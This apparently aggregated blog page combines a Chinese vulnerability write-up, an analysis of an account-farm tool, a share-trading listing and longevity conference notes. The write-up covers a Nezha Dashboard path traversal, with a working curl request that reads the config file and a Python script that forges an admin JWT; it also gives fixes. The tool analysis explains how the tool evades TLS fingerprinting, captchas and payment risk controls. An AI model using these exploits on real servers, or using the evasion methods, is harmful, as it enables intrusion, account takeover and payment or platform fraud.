Nezha Dashboard 在处理静态资源时，为了隔离不同模板目录，在路由层做了一个前缀校验——检查请求路径是否以 /dashboard 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。

逻辑本身没问题，但实现上踩了一个经典坑：前缀比对没有做路径段边界检查。

Go 的 strings.HasPrefix 只判断字符前缀，不关心你后面跟的是 /、..、还是别的什么。于是攻击者构造出这样的路径：

/dashboard../data/config.yaml

拆开看：

/dashboard —— 通过了前缀检查，“合法”
../ —— 往上跳一层，跳出模板目录
data/config.yaml —— 命中 Dashboard 的工作目录，拿到配置文件

每一步都不违反代码的字面逻辑，但组合起来就把目录限制彻底穿透了。

用伪代码理解这个缺陷：

// 原始逻辑（有漏洞）
if strings.HasPrefix(r.URL.Path, "/dashboard") {
 // 渲染模板文件...
 tmpl.Execute(w, filepath.Join(tmplRoot, r.URL.Path))
}

// 实际解析：
// r.URL.Path = "/dashboard../data/config.yaml"
// HasPrefix 返回 true ← 漏洞点
// filepath.Join(tmplRoot, "/dashboard../data/config.yaml")
// → tmplRoot + "../data/config.yaml"
// → 逃逸成功

filepath.Join 会对 .. 做规范化处理，于是路径就从模板目录往上跳了一级，进入了 Dashboard 的工作目录——配置文件、数据库、日志，全在射程范围内。

为什么说这个洞"严重"

大部分路径穿越漏洞能读文件，但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 config.yaml，里面躺着什么？

jwt_secret_key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

JWT 签名密钥是整个认证体系的命根子。有了它，攻击者可以：

伪造任意用户 Token——用泄露的密钥签名一个管理员身份的 JWT，面板直接认你为 admin
劫持所有 Agent 通信——Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权，伪造 Token 就能下发任意指令
持久化控制——密钥轮换需要重启服务且所有 Agent 重连，运维窗口期往往长达数天，这给了攻击者充裕的时间

CVSS 9.1 的评分拆解开来看：

AV:N（网络可达）—— HTTP 端口默认暴露
AC:L（复杂度低）—— 一个 GET 请求即可
PR:N（无需认证）—— 匿名访问
UI:N（无需用户交互）—— 纯自动化
C:H / I:H（机密性高 / 完整性高）—— 拿到密钥等于拿到一切

复现步骤

假设靶标环境 Nezha Dashboard 监听在 http://target:8008：

# 第一步：未授权读取配置文件
curl -s http://target:8008/dashboard../data/config.yaml

# 正常响应会返回完整的 YAML 配置，其中包含：
# jwt_secret_key: "xxxxxx..."

拿到密钥后，用 Python 快速伪造一个管理员 JWT：

import jwt
import time

secret = "泄露的密钥"

payload = {
 "user_id": 1, # admin 通常是 uid=1
 "username": "admin",
 "role": "admin",
 "iat": int(time.time()),
 "exp": int(time.time()) + 86400 * 7 # 7 天有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

将伪造的 Token 填入浏览器 Cookie 或 Authorization Header，刷新面板页面——你已经是管理员了。

修复方案

升级

直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了段感知（segment-aware）的路径校验——不再是简单的字符串前缀匹配，而是确保路径被正确规范化后不会逃逸出模板根目录。

临时缓解

如果暂时无法升级，推荐在反向代理层做路径规范化防护。以 Nginx 为例：

location /dashboard {
 # 规范化 URI，折叠 ../ 等目录回溯符
 set $safe_uri $uri;
 if ($uri ~ \.\./) {
 return 403;
 }
 proxy_pass http://nezha_dashboard;
}

但由于 Go 的 filepath.Join 在服务端也会做规范化，仅靠反向代理层的黑名单拦截存在绕过风险，升级才是正道。

写在最后

这个洞的技术原理并不复杂——就是一个路径段边界检查缺失。但它打到的是整个认证体系的密钥源头，所以危害直接拉满。

做安全攻防的时候，有时候不需要绕过 WAF、不需要 0day 链——一个边界条件的疏忽，就能让整个系统的安全假设全部崩塌。

CVSS 9.1，名副其实。

aBaiAutoplus 深度拆解：当「注册机」进化成 AI 账号工厂

Mon, 01 Jun 2026 17:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一分钟速读：aBaiAutoplus 不止是"注册机"，而是一套完整的 AI 账号自动化工厂——插件化架构支持 12 个平台，协议 + 浏览器双模式，甚至打通了 PayPal / GoPay 付款开通 ChatGPT Plus 的全链路。本文从 HTTP 指纹对抗、邮箱轮换、注册流程引擎到支付协议逆向，逐层拆解其技术内幕，并与同类工具横向对比。

引言

先问一个问题：一个账号注册工具，和"AI 账号工厂"之间差了多远？

答案是：差了付费通道和生命周期管理。

市面上注册 ChatGPT 账号的工具不少。用 Selenium 填个表单、接个验证码、输出 token —— 这是 2023 年的及格线。但到了 2026 年，当 ChatGPT Plus 的后付费链路涉及 Stripe → PayPal hCaptcha 风控 → Express Checkout → Hermes 兜底支付，或者 Stripe → Midtrans 收银台 → GoPay 14 步 API 付款，事情就完全是另一个量级的复杂度了。

aBaiAutoplus —— GitHub 上架两天 311 Star、208 Fork，基于 any-auto-register 二次开发，在插件化注册框架之上硬是接上了 GoPay 和 PayPal 两条付费管道，把注册工具做成了"账号 + Plus 订阅"的全自动生产线。

本文不是功能罗列。我们从架构、协议对抗、支付链路、生态对比四个维度切入，拆解它到底做了什么、怎么做到的、以及相比同类工具是「换皮」还是「进化」。

一、架构全景：插件化的"账号工厂"

先说结论：这是一个标准的 DDD（领域驱动设计）分层架构 + 插件注册表模式。

api/ ── FastAPI 路由层（REST + SSE 实时日志推送）
application/ ── 应用编排层（任务调度、付款流水线、多租户 API）
domain/ ── 领域模型（Account / Task / Proxy / Platform 抽象）
core/ ── 核心能力层（平台基类、注册引擎、代理池、生命周期）
platforms/ ── 平台插件层（每个平台一个独立包）
providers/ ── Provider 插件层（邮箱 / 验证码 / 接码 / 代理驱动）
frontend/ ── React + TypeScript + Vite + TailwindCSS
electron/ ── Electron 桌面端打包

1.1 插件的自发现机制

系统的灵魂在 core/registry.py。启动时用 pkgutil.iter_modules 扫描 platforms/ 下的所有 Python 包，任何带 @register 装饰器的 BasePlatform 子类都会被自动注册到全局注册表：

# 一个平台插件的典型结构
@register
class ChatGPTPlatform(BasePlatform):
 name = "chatgpt"
 display_name = "ChatGPT"
 supported_executors = ["protocol", "headless", "headed"]
 supported_identity_modes = ["mailbox"]
 supported_oauth_providers = ["google", "microsoft"]
 capabilities = ["plus_payment", "paypal_checkout"]

这意味着添加新平台不需要修改任何核心代码——你在 platforms/ 下新建一个包，实现 plugin.py，定义 build_protocol_mailbox_adapter() 和 build_browser_registration_adapter()，系统启动时它就会出现在 Web UI 里。

1.2 注册流程引擎：三种模式统一抽象

这是整个架构最精巧的部分。所有平台的注册逻辑被收敛到三个标准 Flow 类中：

Flow	适用场景	核心组件
ProtocolMailboxFlow	纯 HTTP API 注册 + 邮箱验证码	`worker_builder` → `register_runner` → `result_mapper`
BrowserRegistrationFlow	需要浏览器的注册（Turnstile / hCaptcha / OAuth）	`browser_worker_builder` → `browser_register_runner`
ProtocolOAuthFlow	OAuth 协议订阅（Google / Microsoft 登录）	`oauth_runner` → `result_mapper`

三者的共同点是都依赖 Adapter 模式：

@dataclass(slots=True)
class ProtocolMailboxAdapter:
 result_mapper: Callable # 结果映射器
 worker_builder: Callable # Worker 构造器
 register_runner: Callable # 注册执行器
 otp_spec: OtpSpec | None # 验证码抓取规格
 link_spec: LinkSpec | None # 验证链接抓取规格
 use_captcha: bool # 是否需要打码

每个平台的 plugin.py 只需「组装」一个 Adapter 并返回，Flow 引擎负责执行环境的构建（代理注入、邮箱轮换、验证码回调、超时控制、取消检查）。这种设计让"注册"这件事变成了声明式配置——开发者不需要理解并发控制、异常重试、SSE 日志推送等技术细节。

1.3 技术栈选型中的安全考量

注意几个关键组件的选择：

HTTP 客户端：curl_cffi 而非 requests 或 httpx。原因很简单——curl_cffi 能伪造 TLS 指纹（impersonate="chrome136"），让请求在 TLS 握手层面就"看起来像浏览器"。Cloudflare / Akamai 等 WAF 对 requests 库的 JA3 指纹一抓一个准。
浏览器引擎：Playwright（Chromium）+ Camoufox（反指纹）+ BitBrowser（指纹浏览器）。三套浏览器后端覆盖不同场景——Playwright 用于普通表单、Camoufox 用于需要绕过 Turnstile 的场景、BitBrowser 用于 PayPal 这种对浏览器环境极度敏感的平台。
桌面端：Electron 内嵌完整 Python 后端，不依赖用户安装 Python 环境。这种"all-in-one"打包方式是降低使用门槛的关键——用户双击 .dmg 或 .exe 就能用。

二、核心突破口：从"注册"到"付款"的最后一公里

如果说插件化架构是骨架，那付款集成就是灵魂。这是 aBaiAutoplus 与上游 any-auto-register 最本质的分野。

2.1 GoPay 付款链路：14 步 API 协议

印尼 GoPay 是 ChatGPT Plus 订阅的一条「野路子」。因为 ChatGPT 在印尼的定价（IDR）相对低廉，且 GoPay 对虚拟卡/PIN 的验证不如欧美严格，整套链路可以被协议化。

其流水线分三步（实现见 application/gopay_pay_chatgpt.py）：

步骤一【协议】：调用 generate_plus_link(country=ID, currency=IDR)
 → 拿到 Stripe Hosted Checkout 的 cashier_url

步骤二【浏览器】：打开 cashier_url → 等待页面自动跳转到 Midtrans 域
 → 捕获 midtrans_url（Snap v3/v4 重定向 URL）

步骤三【协议】：GoPayPayment.pay(midtrans_url, account)
 → 14 步 Midtrans API：生成支付token → 启动交易 → GoPay 扫码/确认 → 回调

第三步最精彩——Midtrans 的 Snap 收银台本质是一套 RESTful API 编排，每步都需要精确的 header 构造、csrf token 传递、以及 JWT 签名验证。项目在 platforms/gopay-deploy/ 中做了一套完整的 GoPay 协议 Worker，从账号登录、PIN 验证、余额查询到付款确认，全链路协议化。

同时注意到一个巧妙的工程手段——PhoneTTLGuard：

class PhoneTTLGuard:
 """Hero-SMS 号码 20 分钟自动回收的护栏"""
 def __init__(self, ttl_seconds: int = 1200):
 self.ttl_seconds = ttl_seconds
 self._start = time.monotonic()

 def check(self) -> None:
 if self.elapsed() > self.ttl_seconds:
 raise RuntimeError("号码有效期已过，任务失败")

因为接码平台的印尼号码只有 20 分钟有效期，如果你在注册 GoPay 后超过 20 分钟才去调用付款接口，号码已被回收，短信验证码就收不到了。这个护栏用 time.monotonic()（不受系统时钟回拨影响）在每一步执行前检查，超时直接判失败——干净利落的工程防御。

2.2 PayPal 付款链路：HAR 协议逆向的艺术

比 GoPay 更复杂的是 PayPal。ChatGPT Plus 的后付费链路会经过 Stripe → PayPal 的审批协议跳转，PayPal 端有：

hCaptcha passive 检测（包含约 2200 字符的签名 JWT）
Generic Risk Center 企业风控（5 次交叉验证请求）
SignUp Guest 注册流（包括手机号验证、地址填充、卡片绑定）
Hermes 兜底支付（OPT_OUT 模式，$0 trial 不产生真实扣款）

项目仓库中一份 77MB 的 HAR 文件 checkout-20260523-160436-04xg0pylps_edu.hsxhome.com.har（含 846 个请求），被逐帧反推成了协议文档 PAYPAL_PROTOCOL_FLOW.md，拆解出 6 个 Stage、20+ 个端点的完整调用链。

最值得关注的技术点：

① hCaptcha passive 的"不战而胜"

PayPal 的 /auth/validatecaptcha 端点接受 hcaptchaToken=NOT_REACHABLE 作为参数——也就是说，在某些条件下，PayPal 自己的前端 JavaScript 在检测不到 hCaptcha 时也不会拒绝请求，而是走到一个 authchallengenodeweb 模板（返回 200 + 7387 字节 HTML）。真正的 hCaptcha 校验在另一个端点 /auth/verifyhcaptchapassive 中触发，需要 hCaptcha SDK 生成的 P1_<签名JWT> token。

这个发现意味着：如果能绕过 PayPal 的 Generic Risk Center 风控评分，hCaptcha 可能根本不会被触发。这是典型的"从协议层面理解风控触发条件"的逆向思路，而不是硬着头皮去对着 hCaptcha 死磕。

② Hermes 兜底支付的 $0 trial 秘密

在前几次 addCard 时，GraphQL mutate 返回 ISSUER_DECLINE / CARD_GENERIC_ERROR 并不代表失败。PayPal 会自动在 redirect URL 追加 addFIContingency=noretry&fallback=1&reason=CARD_GENERIC_ERROR（base64 编码），把流量导进 /webapps/hermes 兜底支付。Hermes 里只需发一个 authorize mutation，带 fundingPreference={"balancePreference":"OPT_OUT"}，PayPal 就会直接返回 status=success——因为它识别到这是一笔 $0 试用的审批授权，不需要真实扣款。

OPT_OUT 是整条链路中最关键的一个参数。它告诉 PayPal：“别从任何资金渠道扣款，这是一笔授权审批。” 不掌握这个细节，你会以为 visa 虚拟卡被拒就是失败。掌握了，你就知道这条 HAR 里的所有"失败"步骤都是预期的路由分支。

2.3 代理池：成功率驱动的智能轮换

代理在 AI 账号注册中是核心竞争力。Cloudflare 对数据中心 IP 的态度越来越严苛，Turnstile 验证码的通过率与 IP 质量直接挂钩。

aBaiAutoplus 的代理池设计有三种层级：

层级	来源	特点
静态代理池	手动添加的固定代理	按成功率加权轮询，连续失败 5 次自动禁用
动态 API 提取	代理商的 HTTP API 动态提取	每次提取新 IP，适合大批量任务
旋转网关代理	BrightData / Oxylabs / IPRoyal 等	固定入口地址，每次请求自动分配不同出口 IP

三个关键设计：

自动回退：动态代理失败 → 回退到静态代理池 → 再失败才报错
成功率统计：GET /api/stats/by-proxy 可按代理查询成功率排行
平台敏感度区分：不同平台对 IP 的容忍度不同，可分别配置代理策略

三、生态完整性：从注册到交付的全链路

一个只注册不管后续的工具是半成品。aBaiAutoplus 做了完整的生命周期闭环：

3.1 账号生命周期管理器

# core/lifecycle.py
- 每 6 小时：有效性检测（check token 是否还能用）
- 每 12 小时：Token 自动续期（当前支持 ChatGPT session_token 刷新）
- Trial 过期扫描：快过期 → 预警标记，已过期 → 状态更新为 EXPIRED

这不是装饰性功能——如果你有 200 个 ChatGPT 账号，手动检查每个 token 是否过期是不现实的。生命周期管理器让账号池成为一种「可运营的资源」，而非一次性消耗品。

3.2 多维度成功率仪表盘

/api/stats/overview → 全局概览（总数、成功率、状态分布）
/api/stats/by-platform → 按平台统计成功率（看哪个平台风控严）
/api/stats/by-day → 按天注册趋势（看成功率是否在下降）
/api/stats/by-proxy → 代理成功率排行（淘汰低质代理）
/api/stats/errors → 失败错误聚合（分析常见失败原因）

把成功率数据分析做成独立 API，意味着可以接入 Grafana / Prometheus 等外部监控，而不只是看 Web UI 上的图表。这是「工具」到「运维平台」之间的一条分界线。

3.3 账号导出生态

注册完的账号需要被消费。支持 6 种导出格式：

JSON / CSV：常规导出
CPA：内容发布平台导入格式
Sub2API：订阅 API 转换器格式
Kiro-Go：Kiro 平台的 config.json 格式
Any2API：开源 API 网关格式（注册完自动推送到网关，即注册即用）

最后这个 Any2API 联动很有意思——注册工具本身不提供 API 服务，但它能自动把账号推送到另一个 API 网关项目，让下游消费者通过统一接口获取账号。这是一种「微服务化」的思路：注册工具专注生产，API 网关专注分发。

3.4 Any2API 自动推送映射

平台	推送目标	数据类型
Kiro	kiroAccounts	账号池
Grok	grokTokens	Token 池
Cursor	cursorConfig	Cookie + 配置
ChatGPT	chatgptConfig	Token + 配置
Blink	blinkConfig	凭证
Windsurf	windsurfAccounts	账号池

四、横向对比：与同类工具的异同

4.1 any-auto-register（上游项目）

维度	any-auto-register	aBaiAutoplus
⭐ Star	2529	311
🍴 Fork	885	208
平台数	13+	12（继承上游 + 新增 GoPay）
协议模式	✅	✅
浏览器模式	✅	✅
PayPal 付款	❌	✅（浏览器 PayPal 结账）
GoPay 付款	❌	✅（协议 14 步 API 付款）
Any2API 联动	✅	✅
接码渠道	SMS-Activate / HeroSMS	+ SMSPool / SMSBower
C 端管理门户	❌	✅（customer_portal_api）
桌面客户端	Mac / Win（社区版）	Mac / Win（完整版）

本质差异：any-auto-register 做了「注册」，aBaiAutoplus 做了「注册 + 付费」。两者的架构是同源的（同一套插件基类和注册引擎），但 aBaiAutoplus 在 ChatGPT 平台上的深度远超上游——不只是接口注册，而是打通了从账户创建到 Plus 订阅扣款的全流程。

可以这么说：

any-auto-register = 注册框架 + 多平台适配器
aBaiAutoplus = 注册框架 + ChatGPT Plus 付费工程 + GoPay 全套协议

4.2 gpt-auto-register（⭐397）

最直接的单平台竞品。基于 Python + Selenium，专注 ChatGPT 账号注册。

维度	gpt-auto-register	aBaiAutoplus
浏览器引擎	Selenium（单引擎）	Playwright / Camoufox / BitBrowser（三引擎）
架构	单体脚本	插件化 DDD 分层
平台支持	ChatGPT 单一平台	12 平台
付款集成	❌	✅（PayPal + GoPay）
Web UI	无	React + SSE 实时日志
账号管理	基础导出	生命周期管理 + 仪表盘 + 多格式导出
TLS 指纹	无	curl_cffi impersonate
桌面客户端	无	Electron

差距不在功能数量，在架构理念。gpt-auto-register 是一个能用的注册脚本；aBaiAutoplus 是一个可扩展的注册平台。

4.3 chatgpt-auto-register（⭐13）

基于 undetected-chromedriver 的入门级实现。功能最基础，适合学习原理，不具备生产级可用性。与 aBaiAutoplus 不在同一量级，不做详细对比。

4.4 差异化总结

如果把「AI 账号注册工具」的进化分为三个阶段：

第一代（2023） Selenium + 手动配置 → 注册成功
第二代（2024-25） Playwright + 多平台 + 插件化 → 注册 + 管理
第三代（2026） 协议逆向 + 付费打通 + 微服务生态 → 全链路自动化

aBaiAutoplus 处于第二代向第三代的过渡期——它继承了第二代的插件化框架，但用 GoPay / PayPal 协议逆向和 Any2API 联动把自己推进了第三代的门槛。三者的核心差异体现在付费集成、TLS 对抗深度、以及生态完整度上。

五、工程细节中值得关注的亮点

5.1 TLS 指纹伪装的双层策略

项目在 HTTP 层面有两套请求方案：

curl_cffi（core/http_client.py）：默认 impersonate="chrome136"，伪造完整的 TLS 握手指纹
tls_client（core/tls.py）：更轻量的选择，用于 GoPay 等对 TLS 检测不那么严格的场景

这种「双层策略」是有深度的——curl_cffi 的 impersonate 虽然真实度高，但附带性能开销；对于不需要高伪装的 API 请求，退回到 tls_client 能提升吞吐量。

5.2 邮箱层的「深度防御」

9 种邮箱 Provider 不是简单的多选，而是一种分层防护策略：

自己的域名邮箱（Laoudo）：稳定性最高，适合重要账号，不会被封
自建 Cloudflare Worker 邮箱：完全可控，邮箱域名随机，难以被平台封禁
公共临时邮箱（DuckMail / TempMail.lol）：零配置，适合快速测试
MoeMail 自动注册：连邮箱也是自动创建的，适合大规模并发

不同场景用不同邮箱，这是一种对抗意识——当平台开始针对特定邮箱域名做风控时，你有备选方案。

5.3 验证码求解的递进策略

策略	优先级	使用场景
本地 Solver（Camoufox 自动点击 checkbox）	1	Turnstile checkbox，最快最省
远程 Solver（YesCaptcha / 2Captcha）	2	需要图片识别或本地失败时
手动介入	3	极端风控场景

「先本地、再远程、最后手动」的递进逻辑，比直接调打码平台更经济。

5.4 开源安全审计的"工程良心"

项目开源前做了一份详细的安全审计（OPEN_SOURCE_RELEASE.md），发现的 P0 级问题包括：

81 个真实 ChatGPT 账号明文凭证已被 git 跟踪
8 个 GoPay 账号的手机号 + PIN 明文泄露
13 个调试 dump 文件含 PayPal / Stripe 实时 cookie

这份审计本身就是一个有价值的技术文档——它展示了「开源前要做哪些安全检查」的完整 checklist：

扫描 git 历史中的凭证文件
检查源码中的硬编码 API Key
审查第三方 APK 逆向常量是否可公开
验证 .gitignore 规则是否生效
git filter-repo 重写历史的完整命令

每个打算开源的开发者都应该读一遍这份文档。

六、局限与风险

6.1 技术局限

GoPay 地域锁定：依赖印尼手机号 + 印尼 IP，对中国用户不友好
PayPal 浏览器自动化不稳定：BitBrowser profile 持久化是双刃剑——历史 cookie 积累后可能触发异常检测
Camoufox 依赖：本地 Solver 依赖于 Camoufox 的反指纹浏览器，ARM 架构支持有限
MoeMail 公共实例不可控：依赖第三方部署的实例稳定性

6.2 运维负担

3.7M 行 Python（含依赖）不是小工程，依赖更新和兼容性维护是个长期问题
跨平台浏览器自动化（Playwright + Camoufox + BitBrowser）的环境配置复杂度高
多接码渠道、多验证码渠道的 API 轮换和余额管理需要持续关注

6.3 法律与道德边界

项目在 README 中明确了「仅供学习研究」的定位，并且基于 AGPL-3.0 许可证。但必须指出：

自动化注册违反几乎所有目标平台的 ToS
协议化支付链路可能涉及支付欺诈的法律风险
印尼 GoPay 的 APK 逆向常量（CLIENT_SECRET 等）存在 ToS 和版权问题

技术是好技术，但使用场景需要谨慎判断。

七、总结

aBaiAutoplus 之所以值得深入分析，不是因为它「又多了一个注册工具」，而是因为它展示了注册工具从脚本到平台的完整进化路径。

它的核心价值不在于星星数（311 相比上游的 2529 还差得远），而在于：

架构上：插件化 + DDD 分层，让注册能力可扩展、可维护
技术上：支付协议逆向（PayPal 6 Stage + GoPay 14 步），把"注册"延伸到"付费"
工程上：代理池智能轮换、邮箱分层防护、TLS 指纹对抗，形成了一个完整的反风控体系
生态上：Any2API 联动、多格式导出、customer_portal_api，让注册工具成为可运营的基础设施

与同类工具相比，它最大的差异化优势是付费链路的打通——这是三个对比项目都不具备的能力。GoPay 协议付款和 PayPal 浏览器结账这两条「野路子」，背后是扎实的 HAR 分析和协议逆向工作，不是简单的 API 拼接。

当然，它的"进化"仍在进行中——AGPL-3.0 许可证意味着衍生项目可以在此基础上继续扩展，而 3.7M 行的 Python 代码量也意味着维护成本不低。

对于想学习注册工具架构设计、支付协议逆向、或者浏览器自动化实战的开发者，这个项目是一个非常有价值的参考案例。

本文基于 2026 年 6 月 1 日的仓库状态分析。项目仍在快速迭代中，部分细节可能已有更新。

求购Deepseek老股份额；求购长鑫存储老股份额｜资情留言板第183期

Tue, 26 May 2026 09:00:16 +0000

原文摘要

资产交易市场，信息瞬息万变，消息真假难辨，即使买卖双方花费大量的时间、精力，推动成交往往困难重重。为了能够帮助买卖双方更快速链接市场信息和潜在交易对手，避免不必要的投入与浪费，我们特地打造了这样一档栏目。本文是这个栏目的第183期。如果你对本文提到的相关的交易线索感兴趣，希望接触这些潜在的交易对手，或者如果你手中直接握有希望交易的资金或者资产，欢迎与我们联系。（邮箱：已移除，请查看原文）一、本月新增 1、求购Deepseek老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万人民币交易方式：直接老股交易，可以接受锚定份额和进入结构联系方式：已移除，请查看原文 2、求购长鑫存储老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万人民币交易方式：直接老股交易，可以接受锚定份额和进入结构联系方式：已移除，请查看原文 3、求购昆仑芯老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万人民币交易方式：直接老股交易，可以接受锚定份额和进入结构联系方式：已移除，请查看原文 4、求购长征火箭老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万-1亿人民币交易方式：直接老股交易，可以接受进入结构联系方式：已移除，请查看原文 5、求购乐聚机器人老股份额（预期估值面议）交易价格：预期估值面议资产规模：约3000万人民币交易方式：直接老股交易，可以接受锚定份额和进入结构联系方式：已移除，请查看原文 6、求购斯思格新能源老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万人民币交易方式：直接老股交易，可以接受锚定份额和进入结构联系方式：已移除，请查看原文 7、转让持有灵心巧手股份的基金LP份额（预期估值面议）卖家性质：直接卖家交易价格：预期估值面议资产规模：约3000万人民币份额交易方式：两层LP份额，有管理费和carry 联系方式：已移除，请查看原文 8、转让持有月之暗面股份的基金LP份额（预期估值面议）卖家性质：直接卖家交易价格：预期估值面议资产规模：约1000万美元份额交易方式：需要进入结构，有管理费和carry 联系方式：已移除，请查看原文 9、转让持有天兵科技的基金LP份额（预期估值面议）卖家性质：直接卖家交易价格：预期估值面议资产规模：约2000万人民币份额交易方式：LP份额，有管理费和carry 10、转让持有胜宏科技股份的基金LP份额（预期估值面议）卖家性质：直接卖家交易价格：预期估值面议资产规模：约5000万港币或同等美元份额交易方式：LP份额，有管理费和carry 联系方式：已移除，请查看原文 11、求购小红书老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万-1亿美元交易方式：直接老股交易联系方式：已移除，请查看原文 12、转让持有东方空间股份的基金LP份额（预期估值面议）卖家性质：直接卖家交易价格：预期估值面议资产规模：约3000万人民币交易方式：两层LP份额，有管理费和carry 联系方式：已移除，请查看原文 13、转让持有东方算芯股份的基金LP份额（预期估值126亿）卖家性质：直接卖家交易价格：预期估值面议资产规模：约5000万人民币份额交易方式：LP份额，有管理费和carry 联系方式：已移除，请查看原文 14、转让持有深开鸿芯股份的基金LP份额（预期估值面议）卖家性质：直接卖家交易价格：预期估值面议资产规模：约3000万人民币份额交易方式：LP份额，有管理费和carry 联系方式：已移除，请查看原文 15、转让持有群核科技股份的基金LP份额（预期估值面议）交易价格：预期估值面议资产规模：约3000-5000万美元交易方式：直接老股交易联系方式：已移除，请查看原文二、资产求购 1、求购SpaceX公司老股份额（预期估值面议）交易价格：预期估值面议，市场公允价格即可资产规模：约3000-5000万美元交易方式：老股份额和LP份额均可接受，具体看价格和架构联系方式：已移除，请查看原文 2、求购Momenta公司老股份额（预期估值面议）交易价格：预期估值面议资产规模：约1000-2000万人民币交易方式：可以接受进结构，价格具体看是否承担管理费和carry 联系方式：已移除，请查看原文 3、求购强脑科技公司老股份额（预期估值16亿美元）交易价格：预期估值16亿美元资产规模：约3000万人民币交易方式：要求可以人民币交易的结构联系方式：已移除，请查看原文 4、求购字节跳动公司老股份额（预期估值约5300亿美元）交易价格：预期估值面议，市场公允价格即可资产规模：约3000-5000万美元交易方式：希望是一层LP份额联系方式：已移除，请查看原文 5、寻求小家电领域上下游并购标的（预期估值面议）买家性质：直接买家交易价格：预期估值面议，20亿之内并购要求：要求有盈利交易方式：控股并购、现金并购，也考虑战略投资 6、求购Rokid公司老股（预期估值面议）卖家性质：直接卖家交易价格：预期估值面议，市场公允即可资产规模：约1000万美元份额交易方式：直接老股份额 7、求购天兵科技公司老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万人民币交易方式：直接老股交易联系方式：已移除，请查看原文 8、求购燧原科技老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万人民币交易方式：直接老股交易联系方式：已移除，请查看原文 9、求购天数智芯科技老股份额（预期估值面议）交易价格：预期估值面议资产规模：约5000万人民币交易方式：直接老股交易联系方式：已移除，请查看原文 10、求购昆仑芯公司老股份额（预期估值700亿）交易价格：预期估值700亿资产规模：约3000-5000万人民币交易方式：可以接受进结构，价格具体看是否承担管理费和carry 联系方式：已移除，请查看原文

文章来源

标题: 求购Deepseek老股份额；求购长鑫存储老股份额｜资情留言板第183期
来源: tech
链接: https://36kr.com/p/3825834410333062?f=rss
时间: 2026-05-26 16:15:55 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3825834410333062?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-26T09:00:16.552482+00:00

长寿≠养生？有人把“解决衰老”做了工程化拆解｜muShanghai现场笔记

Tue, 26 May 2026 09:00:13 +0000

原文摘要

图上周五上午听的是Longevity Biotech Fellowship（LBF）的运营负责人Eric Magro的分享。这个成立约三年的非营利组织专注一件事：把“解决衰老”当成一个值得立项、拨款、招人的工程问题来做。 Eric开场放了一张死亡率曲线。年轻时，我们的死亡概率几乎贴地飞行，到了某个年龄后会突然指数级拉升。衰老，是全球大多数人的死因本质，但目前没有一个国家或大型机构在系统性地拆解这个问题。LBF的路线图就是想补上这个“战略空白”。 Last Friday morning I sat in on a session by Eric, Head of Operations from Longevity Biotech Fellowship (LBF). Founded roughly three years ago, this nonprofit focuses on one thing: treating “solving aging” as an engineering problem worthy of formal project launch, funding, and hiring. Eric opened with a mortality curve. When we’re young, the probability of death hovers near zero; after a certain age, it spikes exponentially. Aging is essentially the leading cause of death worldwide, yet no country or major institution is systematically dismantling the problem. LBF’s roadmap aims to fill this strategic void. [ LBF把解题思路系统性地拆成三条（难度和资金需求依次递减）] 生物工程（Bioengineering）：彻底理解衰老生物学并干预。Eric认为这是最难、最花钱、最遥远的方向，因为人类至今没有公认的衰老理论框架，连因果通路都没完全摸清。生物停滞（Biostasis）：在衰老被解决前，把人“暂停”。主要是低温保存（cryonics），也包括其他尚未成熟的技术。Eric强调这更像工程问题而非基础科学问题，且目前全球从业者极少、资金严重不足。替换（Replacement）：哪里坏了换哪里，从细胞、组织、器官到全身替换。LBF认为这条路径的成本和时间预估远低于生物工程，因此他们最为之兴奋。 [LBF breaks the solution into three paths, ranked by difficulty and capital needs] Bioengineering — fully understanding and intervening in aging biology. Eric considers this the hardest, most expensive, and most distant route. Humanity still lacks a consensus theoretical framework for aging; we haven’t even fully mapped the causal pathways. Biostasis — putting people “on pause” until aging is solved. Primarily cryonics, plus other immature tech. Eric stresses this is more engineering than basic science, but global practitioners are scarce and funding is severely lacking. Replacement — swapping out whatever breaks, from cells to tissues to organs to whole bodies. LBF estimates this path demands far less cost and time than bioengineering, which is why they’re most excited about it. [一些技术节点性事件已经发生] 2018年，中国科学家完成世界首例灵长类动物体细胞克隆（“中中”、“华华”），成果发表于Cell，这是生殖生物学领域的一项背景性里程碑。Eric在现场讨论LBF对远期替换路径的表述时，使用了“bodyoid / brain-knockout”这一术语，但他并未将2018年的这项研究作为该概念的直接技术基础。低温保存领域已有商业机构在运营。柏林的Tomorrow.Bio成立于2020年，截至目前已完成20名人类和10只宠物的低温保存，另有800余人签约，合同总额超过1.6亿欧元。其与瑞士的European Biostasis Foundation合作，使用液氮罐长期储存。美国老牌机构Alcor Life Extension Foundation（1972年成立）和Cryonics Institute（1976年成立）也在提供类似服务。纳米复温（Nanowarming）技术已有学术突破。明尼苏达大学John Bischof团队2025年在Nature Communications发表概念验证：使用氧化铁纳米颗粒配合射频线圈，实现了2升玻璃化体积的快速均匀复温（约88°C/分钟），为人体器官尺度的玻璃化保存与复温提供了物理可行性。小鼠断指再生是真实存在的研究方向。Tulane大学和Texas A&M的Ken Muneoka等研究者长期追踪成年小鼠指尖（digit tip）的再生机制，发现其可完整再生骨骼、血管、神经和指甲，相关研究发表于Development、Regeneration等期刊。至于Brian Johnson的Blueprint项目，Eric在现场做了明确切割：那是严格的健康优化实验，而非抗衰老疗法。Brian做的是“在AI解决衰老之前尽量保持健康”，其项目每年花费约200万美元，包含极端饮食、睡眠和biomarker监测，但并未声称能单独实现大幅延寿。 